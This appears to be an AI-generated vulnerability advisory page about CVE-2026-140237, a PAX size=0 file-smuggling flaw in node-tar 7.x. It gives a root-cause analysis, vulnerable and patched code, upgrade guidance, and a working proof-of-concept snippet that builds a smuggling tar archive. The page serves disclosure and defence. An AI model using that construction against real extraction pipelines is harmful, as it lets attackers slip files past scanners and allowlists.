CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-140237

CVE-2026-140237: PAX Metadata-Body File Smuggling and Interpretation Conflict in node-tar

Amit Schendel
Amit Schendel
Senior Security Researcher

Dec 2, 2026·12 min read·9 visits

Executive Summary (TL;DR)

node-tar versions 7.0.0 through 7.5.24 improperly apply pending PAX size attributes to subsequent metadata entries, causing the parser to treat the body of a metadata block as a top-level tar header. Standard tar implementations consume the metadata body normally, allowing attackers to hide malicious file entries from upstream scanners while having node-tar extract them to disk. Upgrading to node-tar 8.0.0 resolves the parser divergence.

An interpretation conflict vulnerability in node-tar versions 7.0.0 prior to 8.0.0 allows attackers to smuggle arbitrary tar archive members inside POSIX extended header (PAX) metadata blocks. Because node-tar reapplied pending PAX size attributes onto subsequent metadata entries, an attacker can set a PAX size of zero to prematurely terminate metadata body consumption. When combined with multi-engine inspection and extraction pipelines, this parser desynchronization permits file smuggling that bypasses archive member allowlists, malware scanning, and security policy verification.

Vulnerability Overview

The node-tar library (distributed via npm as tar) is a widely deployed archive manipulation library within the Node.js ecosystem. It provides streaming parse, pack, list, and extract capabilities for POSIX ustar, GNU tar, and POSIX.1-2001 (pax) archive formats. Because node-tar processes untrusted archive streams in package managers, build pipelines, and file upload gateways, its parser boundary represents a critical security control.

CVE-2026-140237 (also tracked as GHSA-p96f-8xj2-g85p) is an Interpretation Conflict vulnerability (CWE-436) affecting node-tar versions from 7.0.0 up to 8.0.0. The vulnerability resides in the ReadEntry stream class within src/read-entry.ts and persists even after an earlier regression fix introduced in version 7.5.16. The flaw occurs when the parser encounters consecutive metadata entries in an archive stream after parsing a POSIX extended header (pax) containing a size attribute.

When node-tar instantiates a ReadEntry object for a subsequent archive block, it unconditionally applies pending extended attributes (ex) and global extended attributes (gex) to the new entry. Crucially, the constructor fails to verify whether the incoming entry is itself a metadata block (such as ExtendedHeader, GlobalExtendedHeader, NextFileHasLongPath, or NextFileHasLongLinkpath) and fails to exclude the size attribute during this reapplication.

If an attacker crafts a PAX extended header specifying size=0 immediately followed by a second metadata header with a 512-byte body, node-tar overwrites the second metadata entry's body length with zero. The node-tar stream parser then treats the 512-byte metadata payload as the next top-level tar header in the archive. Because standard implementations like GNU tar, bsdtar, and Python's tarfile consume the 512-byte block as metadata content, those engines never observe the embedded header, allowing an attacker to smuggle uninspected file entries directly into the node-tar extraction directory.

Root Cause Analysis

To understand the mechanics of CVE-2026-140237, it is necessary to examine how the tar format and node-tar handle extended metadata. A tar archive consists of a sequence of 512-byte blocks. Every member begins with a 512-byte header block describing the file path, permissions, type flag, and body size, followed by zero or more 512-byte data blocks padded to the block boundary. When paths or file sizes exceed legacy ustar limits, tar implementations insert special metadata entries—such as PAX ExtendedHeader (type flag 'x'), GlobalExtendedHeader (type flag 'g'), or GNU NextFileHasLongPath (type flag 'L')—whose data blocks contain key-value attributes or long strings that modify the subsequent regular file entry.

In node-tar, the Parser class reads each 512-byte header block via the Header class and instantiates a ReadEntry object to represent the entry stream. When the parser finishes reading a PAX extended header entry, it stores the parsed key-value pairs in a pending state object (ex for local PAX headers, gex for global PAX headers). During the construction of the next ReadEntry, the Header instance has already resolved the actual byte length of the entry body. However, the ReadEntry constructor subsequently invoked a private method, this.#slurp(ex), which copied all properties from the pending PAX state directly onto this.

Two distinct logic errors in ReadEntry combined to cause the parser desynchronization:

  1. Unfiltered Metadata Reapplication (!this.meta omission): According to the POSIX.1-2001 specification, pending PAX attributes describe the next regular file, directory, or link entry in the archive. They must not overwrite the structural header attributes of an intervening metadata block. Because ReadEntry did not check if (!this.meta) before calling #slurp(), any pending PAX fields were applied directly to the subsequent metadata entry.
  2. Improper Override of this.size in #slurp(): The Header class already accounts for valid size overrides before ReadEntry is constructed. By failing to exclude the 'size' key inside #slurp(), ReadEntry allowed a pending ex.size (such as 0) to clobber the metadata entry's this.size property after the header had been decoded.

When this.size on a metadata entry is overwritten to 0, the Parser stream state machine concludes that the metadata entry has zero body bytes to consume. Instead of reading the next 512 bytes into the metadata processor, the parser immediately transitions back to header-parsing mode at the very next 512-byte boundary. An attacker who places a raw 512-byte tar header inside the body of that second metadata block achieves complete control over the desynchronized entry stream.

Code Analysis & Patch Evaluation

The vulnerability was addressed in commit f351e5b4a8916bc8c8f821d0ad926a17d26ea237, released in node-tar version 8.0.0. The patch modifies src/read-entry.ts as well as broader parsing logic across the repository to eliminate differential parsing behavior between node-tar and reference implementations (GNU tar, bsdtar, and Python tarfile).

In the vulnerable version of src/read-entry.ts, the constructor unconditionally called #slurp for ex first and gex second, and #slurp only filtered out null, undefined, and global path properties:

// VULNERABLE CODE (src/read-entry.ts < 8.0.0)
export class ReadEntry extends Minipass<Buffer, Buffer> {
  constructor(header: Header, ex?: Pax, gex?: Pax) {
    // ... header fields assigned, including this.size and this.meta ...
    this.uname = header.uname
    this.gname = header.gname
 
    // BUG 1: Applied even when this.meta is true.
    // BUG 2: ex applied before gex, allowing global values to overwrite local values.
    if (ex) {
      this.#slurp(ex)
    }
    if (gex) {
      this.#slurp(gex, true)
    }
  }
 
  #slurp(ex: Pax, gex = false) {
    Object.assign(
      this,
      Object.fromEntries(
        Object.entries(ex).filter(([k, v]) => {
          // BUG 3: 'size' and global 'linkpath' are not excluded,
          // overwriting resolved header body length.
          return !(v === null || v === undefined || (k === 'path' && gex))
        }),
      ),
    )
  }
}

In the patched version (8.0.0), the maintainer gated the #slurp invocations behind if (!this.meta), reversed the application order so that local ex attributes take precedence over global gex attributes, and explicitly excluded size, global, and global linkpath keys inside the #slurp filter:

// PATCHED CODE (src/read-entry.ts in 8.0.0 - commit f351e5b4a8916bc8c8f821d0ad926a17d26ea237)
export class ReadEntry extends Minipass<Buffer, Buffer> {
  constructor(header: Header, ex?: Pax, gex?: Pax) {
    // ... header fields assigned ...
    this.uname = header.uname
    this.gname = header.gname
 
    // FIX 1: Pending extended headers describe the next file entry, not a
    // meta entry. Apply global first, so that local values win.
    if (!this.meta) {
      if (gex) {
        this.#slurp(gex, true)
      }
      if (ex) {
        this.#slurp(ex)
      }
    }
  }
 
  #slurp(ex: Pax, gex = false) {
    Object.assign(
      this,
      Object.fromEntries(
        Object.entries(ex).filter(([k, v]) => {
          // FIX 2: The Header already resolved size. It sets the body length.
          // Exclude 'size', 'global', and global 'linkpath' from overriding ReadEntry.
          return !(
            v === null ||
            v === undefined ||
            k === 'size' ||
            k === 'global' ||
            (k === 'path' && gex) ||
            (k === 'linkpath' && gex)
          )
        }),
      ),
    )
  }
}

> [!NOTE] > Assessment of Fix Completeness: Commit f351e5b4a8916bc8c8f821d0ad926a17d26ea237 goes beyond patching the isolated ReadEntry size reapplication bug. The commit comprehensively audits and resolves five additional parser differentials in node-tar that could cause cross-parser desynchronization or denial of service: (1) PAX record parsing was changed from newline splitting to strict length-prefixed parsing to prevent newline injection inside PAX values; (2) NUL byte stripping regexes were updated to match across line breaks; (3) PAX numeric fields (uid, gid, dev, ino, nlink, mode) are now restricted to decimal digits within safe integer bounds rather than accepting values like Infinity; (4) PAX path headers now consistently take precedence over subsequent GNU long name blocks; and (5) entries following a lone 512-byte null block now emit a TAR_BAD_ARCHIVE warning (causing failure in strict mode) to match standard tar termination rules.

Exploitation Methodology & Proof of Concept

Exploiting CVE-2026-140237 requires an architecture where an untrusted tar archive passes through an inspection or validation layer using a standards-compliant tar implementation before being unpacked by a vulnerable version of node-tar (>= 7.0.0, < 8.0.0). No special runtime privileges, authentication, or non-default node-tar flags are required to trigger the parsing discrepancy.

To construct a smuggling archive, the attacker assembles four distinct 512-byte-aligned segments:

  1. First PAX Extended Header: A valid ExtendedHeader (type 'x') whose payload contains the PAX record 9 size=0\n. When node-tar finishes consuming this entry, it stores { size: 0 } in the pending ex state.
  2. Second Metadata Header: Immediately following the first PAX entry, the attacker places a second metadata header (e.g., ExtendedHeader 'x', GlobalExtendedHeader 'g', or NextFileHasLongLinkpath 'K') with its header size field set to 512.
  3. Forged Tar Header (Smuggled Payload): Inside the 512-byte body of the second metadata entry, the attacker places a completely valid 512-byte tar header for a file (e.g., path: 'hidden.txt', type: 'File', size: 0).
  4. Benign Trailing Entry: A standard archive member (such as a regular file or symbolic link) follows the metadata body so the archive terminates cleanly.

The official regression test included in commit f351e5b4a8916bc8c8f821d0ad926a17d26ea237 (test/parse-differential.test.ts) demonstrates how to construct this byte sequence programmatically:

import { Header, type HeaderData } from '../src/header.js'
 
const hdr = (h: HeaderData) => {
  const block = Buffer.alloc(512)
  new Header({ mode: 0o644, size: 0, uid: 501, ...h }).encode(block)
  return block
}
 
const pad = (data: Buffer) =>
  Buffer.concat([data, Buffer.alloc((512 - (data.length % 512)) % 512)])
 
const ent = (h: HeaderData, body: string | Buffer = '') => {
  const data = Buffer.from(body)
  return Buffer.concat([hdr({ size: data.length, ...h }), pad(data)])
}
 
// Encode a length-prefixed PAX key=value record
const rec = (k: string, v: string) => {
  const tail = Buffer.from(` ${k}=${v}\n`)
  let n = tail.length + 1
  while (String(n).length + tail.length !== n) {
    n = String(n).length + tail.length
  }
  return Buffer.concat([Buffer.from(String(n)), tail])
}
 
const pax = (kv: [string, string][], global = false) =>
  ent(
    {
      path: 'PaxHeader/p',
      type: global ? 'GlobalExtendedHeader' : 'ExtendedHeader',
    },
    Buffer.concat(kv.map(([k, v]) => rec(k, v))),
  )
 
// Construct the polyglot/smuggling archive stream:
const smugglingArchive = Buffer.concat([
  // 1. Pending PAX header setting size=0
  pax([['size', '0']]),
  // 2. Subsequent metadata header declaring a 512-byte body
  hdr({ path: 'meta', type: 'ExtendedHeader', size: 512 }),
  // 3. The 512-byte body of 'meta', which is actually a forged File header
  hdr({ path: 'hidden.txt', type: 'File', size: 0 }),
  // 4. A visible entry seen by all parsers
  ent({ path: 'visible.txt', type: 'File' }, 'benign content'),
])

When smugglingArchive is inspected by GNU tar -tvf, bsdtar, or Python's tarfile, the parser reads the meta header, skips 512 bytes of metadata body (ignoring the malformed PAX text inside hidden.txt), and lists only visible.txt. When the exact same buffer is passed to tar.extract() in node-tar 7.5.24, node-tar overwrites the meta entry's size to 0, interprets the 512-byte body as a top-level file header, and creates or truncates hidden.txt on the filesystem alongside visible.txt.

Impact Assessment

CVE-2026-140237 carries a CVSS v4.0 Base Score of 6.9 (Medium) with the vector CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N. The High Integrity impact (VI:H) reflects the ability of an unauthenticated attacker to create new files or truncate existing files within the target extraction directory by smuggling uninspected file entries past upstream security controls.

In multi-tier application architectures, archive processing is frequently split across different runtimes and libraries:

  • Malware & Antivirus Scanning Evasion: Gateways often scan uploaded .tar or .tgz archives using C-based engines (such as ClamAV/libarchive), Go services (archive/tar), or Python scripts (tarfile). Because these engines consume the 512-byte metadata body as inert extended header data, any file entry header and payload embedded within that metadata block remain invisible to the scanner. When a downstream Node.js worker extracts the approved archive using node-tar, the smuggled payload is written to disk.
  • Archive Member Allowlist & Policy Bypass: Applications that enforce pre-extraction policy checks—for example, verifying that an uploaded plugin archive only contains manifest.json and index.js, or rejecting archives containing dotfiles like .bashrc or .npmrc—will approve the archive if the inspection layer uses a compliant tar parser or inspects a pre-computed manifest. Upon extraction with node-tar, the hidden entry can overwrite existing application files (truncating critical state or configuration files) or drop unauthorized artifacts into the extraction root.

Note that while the smuggled entry is still subject to node-tar's path traversal protections (such as stripping leading slashes and rejecting .. segments inside the configured extraction root), the attacker gains unrestricted ability to create or truncate arbitrary files anywhere inside the configured extraction directory.

Remediation & Mitigation Guidance

The primary remediation for CVE-2026-140237 is to upgrade node-tar (npm package tar) to version 8.0.0 or later. Version 8.0.0 ensures that pending PAX attributes are never applied to metadata entries (!this.meta), prevents pending PAX size attributes from overriding resolved header sizes in ReadEntry, and aligns PAX record parsing with standard tar implementations.

To upgrade the dependency in a Node.js project, run:

npm install tar@^8.0.0

If tar is pulled in as a transitive dependency by another library or build tool, administrators can enforce the patched version using the overrides field in package.json (or resolutions in Yarn), provided the parent package is compatible with the v8 release:

{
  "overrides": {
    "tar": "^8.0.0"
  }
}

For environments where an immediate upgrade to 8.0.0 is blocked by breaking changes or Node.js engine requirements, engineering teams should implement the following defensive measures:

  1. Eliminate Multi-Parser Discrepancies: Never rely on one tar implementation (e.g., Python tarfile, Go archive/tar, or GNU tar) to inspect or validate an archive that will subsequently be extracted by node-tar. If pre-extraction member validation is required, perform the listing pass using the exact same node-tar version and configuration that will perform the extraction, or perform policy validation on the extracted files inside an isolated temporary staging directory before moving them to their final destination.
  2. Repack Untrusted Archives Before Extraction: Passing untrusted archives through a canonical normalization step using a single standard tool (for example, unpacking to an ephemeral sandbox and repacking with standard ustar headers, or rejecting archives containing consecutive PAX/GNU metadata headers) strips out ambiguous consecutive extended headers before node-tar processes the stream.

Official Patches

isaacs (node-tar)Official Fix Commit (f351e5b4a8916bc8c8f821d0ad926a17d26ea237)
isaacs (node-tar)node-tar v8.0.0 Release Tag
GitHub Security AdvisoryVendor Security Advisory GHSA-p96f-8xj2-g85p

Fix Analysis (1)

Technical Appendix

CVSS Score
6.9/ 10
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Affected Systems

node-tar (npm package: tar) >= 7.0.0, < 8.0.0Node.js applications and services extracting untrusted tar archives with node-tar 7.x

Affected Versions Detail

Product
Affected Versions
Fixed Version
node-tar (tar)
isaacs
>= 7.0.0, < 8.0.08.0.0
AttributeDetail
Vulnerability IDCVE-2026-140237 / GHSA-p96f-8xj2-g85p
Weakness ClassCWE-436 (Interpretation Conflict)
CVSS v4.0 Score6.9 Medium (CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N)
Affected Versionsnode-tar >= 7.0.0, < 8.0.0 (including 7.5.16 - 7.5.24)
Patched Versionnode-tar 8.0.0
ImpactArchive member smuggling, allowlist/scanner bypass, arbitrary file creation or truncation in extraction root
Exploit StatusProof-of-Concept available in official unit test suite
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1036Masquerading
Defense Evasion
T1027Obfuscated Files or Information
Defense Evasion
T1202Indirect Command Execution
Defense Evasion
CWE-436
Interpretation Conflict

The software handles two or more entities that are supposed to be equivalent according to high-level specifications, but the entities are interpreted differently by different components or products, leading to security discrepancies.

Known Exploits & Detection

GitHub (Official Regression Test / PoC)Official differential parsing regression test suite in test/parse-differential.test.ts demonstrating PAX size=0 metadata-body file smuggling.

Vulnerability Timeline

Fix commit f351e5b4a8916bc8c8f821d0ad926a17d26ea237 committed and node-tar v8.0.0 released
2026-11-27
GitHub Security Advisory GHSA-p96f-8xj2-g85p and CVE-2026-140237 published
2026-11-27

References & Sources

  • [1]CVE-2026-140237 Record (CVE.org)
  • [2]GitHub Advisory GHSA-p96f-8xj2-g85p
  • [3]node-tar Vendor Security Advisory (GHSA-p96f-8xj2-g85p)
  • [4]Official Patch Commit (f351e5b4a8916bc8c8f821d0ad926a17d26ea237)
  • [5]node-tar Release v8.0.0
  • [6]NVD Vulnerability Detail: CVE-2026-140237
  • [7]CVEProject cvelistV5 Entry for CVE-2026-140237

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-140244
7.2

CVE-2026-140244: Symlink Containment Bypass and Arbitrary File Read in node-tar

CVE-2026-140244 (GHSA-mhqm-9wj8-w7r4) is a symlink containment bypass vulnerability in node-tar prior to version 8.0.0. Because the archive unpacker validates symbolic link targets using purely lexical path normalization without accounting for intermediate archive-created symlinks, an attacker can craft a tar archive containing chained symlinks that resolve outside the extraction directory on the physical filesystem. Downstream applications that read, copy, serve, or re-archive the extracted directory tree follow these planted symlinks, resulting in arbitrary file read and information disclosure.

Amit Schendel
Amit Schendel
1 views•13 min read
•about 2 hours ago•CVE-2026-140242
7.1

CVE-2026-140242: Improper Input Validation in node-tar PAX Header Parser Causes Entry Loss and Denial of Service

CVE-2026-140242 (also tracked as GHSA-ph3c-p786-j4rp) is an input validation vulnerability (CWE-1284) in the node-tar package for Node.js, affecting versions >= 7.0.0 and < 7.5.24. The parser for POSIX.1-2001 Extended (PAX) header records fails to verify that the parsed value of the size attribute is a finite, safe integer. Supplying a PAX header record with a size value such as Infinity bypasses simple non-negative numerical checks via JavaScript unary coercion. This results in stream boundary corruption and entry loss during archive extraction, or an uncaught runtime exception and process termination when re-packing the archive.

Alon Barad
Alon Barad
3 views•11 min read
•about 3 hours ago•CVE-2026-140241
7.1

CVE-2026-140241: Uncaught Exception Denial of Service in node-tar via Zstandard Magic Header

CVE-2026-140241 is a Denial of Service (DoS) vulnerability in the node-tar archive manipulation library (npm package: tar) affecting versions 7.5.22 through 7.5.24. The defect stems from an uncaught synchronous exception thrown during the initialization of Zstandard (zstd) decompression on Node.js runtimes that lack native zstd bindings. An unauthenticated attacker can supply a 4-byte payload containing the zstd magic header (0x28 0xb5 0x2f 0xfd) to asynchronous listing or extraction APIs, causing the error to escape stream event handlers and terminate the Node.js process.

Alon Barad
Alon Barad
5 views•10 min read
•about 4 hours ago•CVE-2026-140240
7.1

CVE-2026-140240: Resource Exhaustion and Algorithmic Complexity Denial of Service in node-tar

CVE-2026-140240 (GHSA-7c32-79xj-j3jp) is a resource exhaustion and algorithmic complexity vulnerability in node-tar, the archive manipulation library for Node.js. In versions prior to 8.0.2, processing a small, crafted tar archive (approximately 20 KB) causes severe CPU degradation or triggers an Out-of-Memory (OOM) crash in the V8 JavaScript heap. The vulnerability stems from quadratic string allocation in asynchronous path reservation bookkeeping, unbounded depth and length validation on linkpath headers, memory retention leaks in reservation maps, and unbounded string caching in the Unicode normalization subsystem.

Alon Barad
Alon Barad
6 views•10 min read
•about 5 hours ago•CVE-2026-140239
7.2

CVE-2026-140239: Global Extended Header linkpath Injection in node-tar

CVE-2026-140239 (GHSA-ffhw-4r4q-5cwv) is an improper input validation vulnerability in the node-tar npm package prior to version 8.0.0. An inconsistency between the Header and ReadEntry parsing classes allows an attacker to inject an arbitrary linkpath attribute into all subsequent archive entries via a PAX Global Extended Header (type 'g'). Because the Header class ignores the global linkpath while ReadEntry applies it, the parser's strict-mode integrity validation is bypassed, enabling downstream applications that inspect entry.linkpath to be manipulated into arbitrary file read or write operations outside the extraction directory.

Alon Barad
Alon Barad
7 views•12 min read
•about 6 hours ago•CVE-2026-140238
7.2

CVE-2026-140238: PAX Extended Header Newline Injection and File Overwrite in node-tar

CVE-2026-140238 (GHSA-mpg7-vg3p-wc3m) is a high-severity parsing vulnerability in node-tar versions prior to 8.0.0. By splitting POSIX.1-2001 PAX extended header blocks on raw newline characters instead of enforcing byte-length framing prefixes, the parser allows unescaped newlines within metadata fields to inject forged PAX records. Attackers can override entry attributes such as file paths during extraction, enabling arbitrary file overwrites inside the destination directory and remote code execution on Windows via npm lifecycle script injection.

Alon Barad
Alon Barad
4 views•14 min read